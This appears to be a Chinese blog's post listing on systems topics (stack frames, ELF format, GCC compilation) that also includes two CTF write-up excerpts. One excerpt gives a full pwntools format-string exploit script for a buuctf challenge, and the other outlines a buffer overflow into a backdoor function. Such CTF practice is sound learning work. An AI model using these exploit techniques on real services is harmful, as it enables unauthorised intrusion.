- 博客(6)
- 收藏
- 关注
转载 函数栈,栈帧
Linux系统中,进程的虚拟地址空间典型布局如下图所示。 由上图可知,32位平台中,进程虚拟地址范围为0x00000000-0xFFFFFFFF(共4GB),其中0x00000000-0xBFFFFFFF(共3GB)为用户空间,位于高地址部分的1GB为内核空间,范围为0xC0000000-0xFFFFFFFF。整个进程虚拟地址可分为几个部分,下面从地址从低到高的方向进行说明: 1)保留区 它并不是一个单一的内存区域,而是对地址空间中受到操作系统保护而禁止用户进程访问的地址区域的总称
2021-08-05 15:22:05 115
原创 buuctf [第五空间2019 决赛]PWN5 1 wp
from pwn import*io=remote(‘node4.buuoj.cn’,29463)addr=0x0804C044payload=p32(addr)payload+=’%10$n’io.sendlineafter(‘name:’,payload)payload=str(0x4)io.sendlineafter(‘passwd:’,payload)io.interactive()
2021-07-20 09:10:03 569
原创 ELF文件格式
elf即可执行可链接格式,分为三种类型:可执行文件(.exec)、可重定位文件(.rel)、共享目标文件(.dyn):可执行文件:经过链接的、可执行的目标文件,通常也被成为程序。可重定位文件:由源文件编译而成且尚未链接的目标文件,通常以.o作为拓展名。用于与其他目标文件进行链接以构成可执行文件或动态链接库,通常是一段位置独立的代码共享目标文件:动态链接库文件。用于在链接过程中与其他动态链接库或可重定位文件一起构建新的目标文件,或者在可执行文件加载时,链接到进程中作为运行代码的一部分。核心转储文件作为
2021-01-31 16:36:00 172
原创 编译原理
GCC的编译包括四个阶段:预处理、编译、汇编和链接。分别使用了cc1、as和collect2三个工具。cc1是编译器,对应第一和第二阶段,用于将源文件hello.c编译为hello.s;as是汇编器,对应第三阶段,用于将hello.s汇编为hello.o目标文件;链接器collect2是对ld命令的封装,用于将C语言运行时库(CTR)中的目标文件(crt1.o、crti.o、crtbegin.o、crtn.o)以及所需的动态链接库(libgcc.so、libgcc_s.so、libc.so)链接到可执行he
2021-01-31 15:13:51 515
原创 # xctf level 0 wp
xctf level 0 wp使用checksec 检查一下 64位 开启了NX保护,丢进ida进入vlunerable函数发现可以溢出,同时又找到一个后门函数直接溢出返回callsystem函数拿到flag
2021-01-10 21:28:46 160
空空如也
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人